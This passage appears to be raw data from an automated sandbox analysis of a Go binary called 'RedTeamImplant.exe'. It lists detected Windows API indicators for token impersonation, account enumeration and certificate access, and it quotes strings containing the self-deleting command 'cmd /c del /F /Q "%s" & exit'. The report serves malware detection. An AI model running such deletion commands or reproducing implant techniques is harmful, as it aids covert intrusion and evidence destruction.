"syscall.GetEnvironmentStrings" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp")51:Td13,Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "RedTeamImplant.exe") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "GetTempPath"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "GetFileAttributes"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "GetCurrentDirectory"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "ReadDirectoryChange"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "QueryInformationFile"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "GetFileInformationByHandle"; File: "RedTeamImplant.exe") Found reference to API "syscall.GetCurrentDirectory" (Indicator: "GetCurrentDirectory"; File: "RedTeamImplant.exe") Found reference to API "syscall.GetFileAttributesEx" (Indicator: "GetFileAttributes"; File: "RedTeamImplant.exe") Found reference to API "syscall.GetFileAttributes" (Indicator: "GetFileAttributes"; File: "RedTeamImplant.exe") Found reference to API "syscall.GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "RedTeamImplant.exe") Found reference to API "internal/syscall/windows.GetFileInformationByHandleEx" (Indicator: "GetFileInformationByHandle"; File: "RedTeamImplant.exe") Found reference to API "internal/syscall/windows.NtQueryInformationFile" (Indicator: "QueryInformationFile"; File: "RedTeamImplant.exe") Found reference to API "internal/syscall/windows.ErrorLoadingGetTempPath2" (Indicator: "GetTempPath"; File: "RedTeamImplant.exe") Found reference to API "os.newFileStatFromGetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "RedTeamImplant.exe") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") file/memory contains long string with (Indicator: "GetTempPath"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") Found reference to API "syscall.GetCurrentDirectory" (Indicator: "GetCurrentDirectory"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") Found reference to API "syscall.GetFileAttributesEx" (Indicator: "GetFileAttributes"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") Found reference to API "syscall.GetFileAttributes" (Indicator: "GetFileAttributes"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") Found reference to API "syscall.GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") Found reference to API "internal/syscall/windows.GetFileInformationByHandleEx" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") Found reference to API "internal/syscall/windows.NtQueryInformationFile" (Indicator: "QueryInformationFile"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") Found reference to API "internal/syscall/windows.ErrorLoadingGetTempPath2" (Indicator: "GetTempPath"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp")52:T568,file/memory contains long string with (Indicator: "GetUserName"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "NetUserGetInfo"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "OpenProcessToken"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "LookupAccountSid"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "LookupAccountName"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "GetTokenInformation"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "NetGetJoinInformation"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "GetUserName"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") file/memory contains long string with (Indicator: "NetUserGetInfo"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") file/memory contains long string with (Indicator: "LookupAccountSid"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") file/memory contains long string with (Indicator: "GetTokenInformation"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp")53:T1e61,Observed string: "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for channel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStoreabi.NewName: tag too long: httpservecontentkeepheaderscmd /c del /F /Q "%s" & exitos: process already finishedGetFi" (Indicator: "cmd /c del") in Source: RedTeamImplant.exe Observed string: "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for channel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStoreabi.NewName: tag too long: httpservecontentkeepheaderscmd /c del /F /Q "%s" & exitos: process already finishedGetFi" (Indicator: "/c del ") in Source: RedTeamImplant.exe Observed string: "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for channel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStoreabi.NewName: tag too long: httpservecontentkeepheaderscmd /c del /F /Q "%s" & exitos: process already finishedGetF" (Indicator: "cmd /c del") in Source: RedTeamImplant.exe Observed string: "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for channel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStoreabi.NewName: tag too long: httpservecontentkeepheaderscmd /c del /F /Q "%s" & exitos: process already finishedGetF" (Indicator: "/c del ") in Source: RedTeamImplant.exe Observed string: "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for channel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStoreabi.NewName: tag too long: httpservecontentkeepheaderscmd /c del /F /Q "%s" & exitos: process already finishedGetFileInformationByHandleExCanada Central Standard TimeCen. Australia Standard TimeAus Central W. Standard TimeCentral Europe Standard TimeEnglish name for time zone "18189894035458564758300781259094947017729282379150390625GC mark assist wait for workcomparing uncomparable type region exceeds uintptr range/gc/heap/frees-by-size:bytes/gc/heap/tiny/allocs:objects/sched/goroutines:goroutinesgcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free objectmheap.freeSpanLocked - span runtime.semasleep unexpectedfatal: morestack on gsignal" (Indicator: "cmd /c del") in Source: 00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp, Observed string: "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for channel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStoreabi.NewName: tag too long: httpservecontentkeepheaderscmd /c del /F /Q "%s" & exitos: process already finishedGetFileInformationByHandleExCanada Central Standard TimeCen. Australia Standard TimeAus Central W. Standard TimeCentral Europe Standard TimeEnglish name for time zone "18189894035458564758300781259094947017729282379150390625GC mark assist wait for workcomparing uncomparable type region exceeds uintptr range/gc/heap/frees-by-size:bytes/gc/heap/tiny/allocs:objects/sched/goroutines:goroutinesgcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free objectmheap.freeSpanLocked - span runtime.semasleep unexpectedfatal: morestack on gsignal" (Indicator: "/c del ") in Source: 00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp54:T44b,Observed string: "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for channel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStoreabi.NewName: tag too long: httpservecontentkeepheaderscmd /c del /F /Q "%s" & exitos: process already finishedGetFi" (Indicator: "cmd /c del") in Source: RedTeamImplant.exe55:T448,Observed string: "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for channel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStoreabi.NewName: tag too long: httpservecontentkeepheaderscmd /c del /F /Q "%s" & exitos: process already finishedGetFi" (Indicator: "/c del ") in Source: RedTeamImplant.exe56:T44a,Observed string: "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for channel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStoreabi.NewName: tag too long: httpservecontentkeepheaderscmd /c del /F /Q "%s" & exitos: process already finishedGetF" (Indicator: "cmd /c del") in Source: RedTeamImplant.exe57:T447,Observed string: "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for channel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStoreabi.NewName: tag too long: httpservecontentkeepheaderscmd /c del /F /Q "%s" & exitos: process already finishedGetF" (Indicator: "/c del ") in Source: RedTeamImplant.exe58:Td35,Observed string: "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for channel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStoreabi.NewName: tag too long: httpservecontentkeepheaderscmd /c del /F /Q "%s" & exitos: process already finishedGetFileInformationByHandleExCanada Central Standard TimeCen. Australia Standard TimeAus Central W. Standard TimeCentral Europe Standard TimeEnglish name for time zone "18189894035458564758300781259094947017729282379150390625GC mark assist wait for workcomparing uncomparable type region exceeds uintptr range/gc/heap/frees-by-size:bytes/gc/heap/tiny/allocs:objects/sched/goroutines:goroutinesgcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free objectmheap.freeSpanLocked - span runtime.semasleep unexpectedfatal: morestack on gsignal" (Indicator: "cmd /c del") in Source: 00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp, Observed string: "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for channel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStoreabi.NewName: tag too long: httpservecontentkeepheaderscmd /c del /F /Q "%s" & exitos: process already finishedGetFileInformationByHandleExCanada Central Standard TimeCen. Australia Standard TimeAus Central W. Standard TimeCentral Europe Standard TimeEnglish name for time zone "18189894035458564758300781259094947017729282379150390625GC mark assist wait for workcomparing uncomparable type region exceeds uintptr range/gc/heap/frees-by-size:bytes/gc/heap/tiny/allocs:objects/sched/goroutines:goroutinesgcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free objectmheap.freeSpanLocked - span runtime.semasleep unexpectedfatal: morestack on gsignal" (Indicator: "/c del ") in Source: 00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp59:T44b,Observed string: "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for channel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStoreabi.NewName: tag too long: httpservecontentkeepheaderscmd /c del /F /Q "%s" & exitos: process already finishedGetFi" (Indicator: "cmd /c del") in Source: RedTeamImplant.exe5a:T448,Observed string: "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for channel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStoreabi.NewName: tag too long: httpservecontentkeepheaderscmd /c del /F /Q "%s" & exitos: process already finishedGetFi" (Indicator: "/c del ") in Source: RedTeamImplant.exe5b:T44a,Observed string: "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for channel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStoreabi.NewName: tag too long: httpservecontentkeepheaderscmd /c del /F /Q "%s" & exitos: process already finishedGetF" (Indicator: "cmd /c del") in Source: RedTeamImplant.exe5c:T447,Observed string: "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for channel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStoreabi.NewName: tag too long: httpservecontentkeepheaderscmd /c del /F /Q "%s" & exitos: process already finishedGetF" (Indicator: "/c del ") in Source: RedTeamImplant.exe5d:Td35,Observed string: "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for channel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStoreabi.NewName: tag too long: httpservecontentkeepheaderscmd /c del /F /Q "%s" & exitos: process already finishedGetFileInformationByHandleExCanada Central Standard TimeCen. Australia Standard TimeAus Central W. Standard TimeCentral Europe Standard TimeEnglish name for time zone "18189894035458564758300781259094947017729282379150390625GC mark assist wait for workcomparing uncomparable type region exceeds uintptr range/gc/heap/frees-by-size:bytes/gc/heap/tiny/allocs:objects/sched/goroutines:goroutinesgcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free objectmheap.freeSpanLocked - span runtime.semasleep unexpectedfatal: morestack on gsignal" (Indicator: "cmd /c del") in Source: 00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp, Observed string: "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for channel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStoreabi.NewName: tag too long: httpservecontentkeepheaderscmd /c del /F /Q "%s" & exitos: process already finishedGetFileInformationByHandleExCanada Central Standard TimeCen. Australia Standard TimeAus Central W. Standard TimeCentral Europe Standard TimeEnglish name for time zone "18189894035458564758300781259094947017729282379150390625GC mark assist wait for workcomparing uncomparable type region exceeds uintptr range/gc/heap/frees-by-size:bytes/gc/heap/tiny/allocs:objects/sched/goroutines:goroutinesgcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free objectmheap.freeSpanLocked - span runtime.semasleep unexpectedfatal: morestack on gsignal" (Indicator: "/c del ") in Source: 00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp5e:T4b6,file/memory contains long string with (Indicator: "SetFileAttributes"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "SetInformationFile"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "NtSetInformationFile"; File: "RedTeamImplant.exe") Found reference to API "internal/syscall/windows.NtSetInformationFile" (Indicator: "SetInformationFile"; File: "RedTeamImplant.exe") Found reference to API "internal/syscall/windows.NtSetInformationFile" (Indicator: "NtSetInformationFile"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "SetInformationFile"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") file/memory contains long string with (Indicator: "NtSetInformationFile"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") Found reference to API "internal/syscall/windows.NtSetInformationFile" (Indicator: "SetInformationFile"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") Found reference to API "internal/syscall/windows.NtSetInformationFile" (Indicator: "NtSetInformationFile"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp")5f:T963,file/memory contains long string with (Indicator: "CopySid"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "IsValidSid"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "RevertToSelf"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "GetLengthSid"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "ImpersonateSelf"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "DuplicateToken"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "DuplicateTokenEx"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "GetSidSubAuthority"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "SetTokenInformation"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "GetTokenInformation"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "GetSidSubAuthorityCount"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "ImpersonateLoggedOnUser"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "GetSidIdentifierAuthority"; File: "RedTeamImplant.exe") file/memory contains long string with (Indicator: "IsValidSid"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") file/memory contains long string with (Indicator: "GetLengthSid"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") file/memory contains long string with (Indicator: "ImpersonateSelf"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") file/memory contains long string with (Indicator: "DuplicateToken"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") file/memory contains long string with (Indicator: "DuplicateTokenEx"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") file/memory contains long string with (Indicator: "GetSidSubAuthority"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") file/memory contains long string with (Indicator: "GetTokenInformation"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp") file/memory contains long string with (Indicator: "GetSidIdentifierAuthority"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp")60:T7b6a,Found api reference "path= : unknown pc called from runtime: pid=level 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynameRegDeleteKeyWRegEnumValueWcrypto/subtlegocacheverifyinstallgoroothtml/templatetlsmaxrsasize(window.close)asynctimerchanunexpected EOF1907348632812595367431640625unsafe.Pointer on zero Valueunknown methodOpenSCManagerWModule32FirstWuserArenaStateGC (dedicated)read mem statsupdatemaxprocsgcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayscavenge indexRtlGetVersion" (Indicator: "CertOpenStore"; File: "RedTeamImplant.exe") Found api reference "no deferreturnbad restart PC-thread limitstopm spinning nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: seq1=runtime: goid=file too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeGetProcAddressProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unreachable: RegSetValueExWcrypto/fips140mime/multipartx509sha256skidGetProcessTimesDuplicateHandle,M3.2.0,M11.1.0476837158203125invalid argSizeImpersonateSelfOpenThreadTokencomputeMaxProcsupdateMaxProcsGallocmRInternalGC (fractional)write heap dumpasyncpreemptoffcheckfinalizersforce gc (idle)sync.Mutex.Lockruntime.Goschedmalloc deadlockruntime error: scan missed a gmisaligned maskruntime: min = runtime" (Indicator: "CertCloseStore"; File: "RedTeamImplant.exe") Found api reference "no deferreturnbad restart PC-thread limitstopm spinning nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: seq1=runtime: goid=file too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeGetProcAddressProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unreachable: RegSetValueExWcrypto/fips140mime/multipartx509sha256skidGetProcessTimesDuplicateHandle,M3.2.0,M11.1.0476837158203125invalid argSizeImpersonateSelfOpenThreadTokencomputeMaxProcsupdateMaxProcsGallocmRInternalGC (fractional)write heap dumpasyncpreemptoffcheckfinalizersforce gc (idle)sync.Mutex.Lockruntime.Goschedmalloc deadlockruntime error: scan missed a 